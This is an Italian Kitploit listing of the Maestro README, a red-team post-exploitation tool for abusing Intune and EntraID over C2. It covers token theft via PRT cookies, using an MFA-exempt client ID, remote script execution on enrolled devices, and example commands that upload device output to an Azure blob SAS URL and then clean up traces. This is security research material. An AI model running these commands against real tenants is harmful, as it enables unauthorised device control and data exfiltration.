Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Maestro — Abusing Azure services over C2 | Kitploit
Strumenti/GitHubGitHub/mayyhem/maestro
Lateral MovementInformation GatheringPost-ExploitationCloud SecurityCommand and ControlAuthenticationRed Teaming
GitHubmayyhem/maestro

Maestro

Abusing Azure services over C2

Vedi Repository
380357 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Sponsored by SpecterOps @_Mayyhem on Twitter

maestro-logo

Maestro

Maestro è uno strumento post-exploitation progettato per interagire con Intune/EntraID da un agente C2 sulla workstation di un utente senza richiedere la conoscenza della password dell'utente o dei flussi di autenticazione di Azure, della manipolazione dei token e della console di amministrazione basata sul web. Maestro rende molto più semplice interagire con Intune ed EntraID (e potenzialmente con altri servizi Azure) da C2, poiché l'operatore non deve ottenere la password in chiaro dell'utente, estrarre i cookie del primary refresh token (PRT) dal sistema, eseguire strumenti aggiuntivi o una sessione del browser attraverso un proxy SOCKS, o gestire flussi di autenticazione di Azure, token o criteri di accesso condizionato per eseguire azioni in Azure per conto dell'utente autenticato.

Maestro è essenzialmente un wrapper per le richieste locali di cookie PRT e per le chiamate all'API Microsoft Graph, con molte funzionalità di qualità della vita aggiunte per i red teamer. Maestro abilita percorsi di attacco tra ambienti on-prem e Azure. Ad esempio, eseguendo Maestro sulla macchina di un amministratore Intune, puoi eseguire script PowerShell su qualsiasi dispositivo iscritto senza mai conoscere le credenziali dell'amministratore, anche se MFA, conformità del dispositivo e dispositivo con join ibrido sono richiesti dai criteri di accesso condizionato.

Le funzioni di movimento laterale di Maestro sono state ispirate da Death from Above: Lateral Movement from Azure to On-Prem AD di Andy Robbins (@_wald0).

Puoi leggere ulteriori informazioni in questo post introduttivo del blog su Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/

Funzionalità

  • Esecuzione di script PowerShell in tempo reale (tramite Proactive Remediations)
  • Esecuzione di applicazioni
  • Esecuzione di Device Query in tempo reale
  • Forza il check-in e la sincronizzazione del dispositivo
  • Enumerazione degli oggetti Intune ed Entra
  • Database locale per archiviare credenziali e risultati delle query

Note

In questo repository è presente una release compilata utilizzando la configurazione di build ReleasePlusMSAL. Nota che questa configurazione unisce le dipendenze MSAL nel file .exe ma aumenta significativamente le dimensioni del binario risultante. Se non prevedi di utilizzare il metodo -m 2 per richiedere token di accesso (SharpGetEntraToken tramite MSAL), puoi compilare una build Release e le dimensioni saranno notevolmente ridotte.

A partire da febbraio 2025, Microsoft sta implementando l'applicazione obbligatoria dell'MFA per l'autenticazione al portale di Azure e alle sue estensioni. Il metodo predefinito di richiesta del token di accesso tramite flusso di codice di autorizzazione probabilmente fallirà in questo caso, ma l'utilizzo di SharpGetEntraToken/MSAL (opzione -m 2) e la specifica di un client ID che non richiede MFA come Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2) dovrebbe continuare a funzionare.

Sintassi

Maestro.exe <command> [subcommand] [options]

Tutti i comandi e i sottocomandi hanno una pagina di aiuto generata utilizzando un parser della riga di comando personalizzato per mantenere al minimo le dimensioni del binario. È possibile accedere alle pagine di aiuto digitando qualsiasi comando di Maestro seguito da -h o --help.

Fai riferimento all'output dell'opzione --help di ciascun comando per le informazioni sull'utilizzo più aggiornate.

Gli esempi si trovano in fondo a questo file.

vNext

  • Enumerazione locale di Endpoint Privilege Management (EPM)

Blog/Interventi

  • Slide dei Demo Labs del DEF CON 32

Sviluppo

Per il debug, condivido una directory su una macchina iscritta a Intune accessibile dal mio host con Visual Studio, eseguo il debugger remoto di Visual Studio, configuro un processo di post-build per copiare i file della soluzione nella condivisione e configuro Visual Studio per il debug remoto sul sistema iscritto.

Sostenitori

Il tempo che riesco a dedicare alla ricerca, allo sviluppo e al miglioramento di Maestro non sarebbe possibile senza il patrocinio di SpecterOps al progetto, nell'ambito del loro impegno per la trasparenza e il supporto allo sviluppo open-source. Sono immensamente grato per la loro guida e il loro supporto.

Contributi

Alcune funzionalità di Maestro sono state ispirate o costruite sulla base del lavoro di altri, tra cui:

  • RequestAADRefreshToken, di Lee Chagolla-Christensen (@tifkin_)
  • ROADtoken, di Dirk-jan Mollema (@_dirkjan)
  • SharpGetEntraToken, di Daniel Heinsen (@hotnops)

Se sei interessato a collaborare, contattami su Twitter (@_Mayyhem) o nello Slack di BloodHoundGang!

Esempi

Ottieni un token di accesso per MS Graph utilizzando MSAL e il client ID di Azure PowerShell (non ancora bloccato dall'MFA obbligatoria):

root@kitploit:~
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO]    Execution started
2025-02-06 21:09:24.810 UTC - [INFO]    MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO]    SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO]    SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO]    Completed execution in 00:00:01.3203797

Esegui dsregcmd.exe sul dispositivo Intune con ID e537180b-6d04-427e-bf93-dbde818400eb, caricando i risultati nell'URL SAS del contenitore BLOB di Azure Storage con un token di accesso condiviso:

root@kitploit:~
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO]    Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO]    Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO]    Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO]    Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO]    Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO]    Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO]    Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO]    Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO]    Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO]    Not syncing automatically, execute the following to force device sync:

    .\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb

Clean up after execution:
    .\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
    .\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64

2025-01-14 20:20:29.999 UTC - [INFO]    Completed execution in 00:00:04.8572902
Scarica lo strumento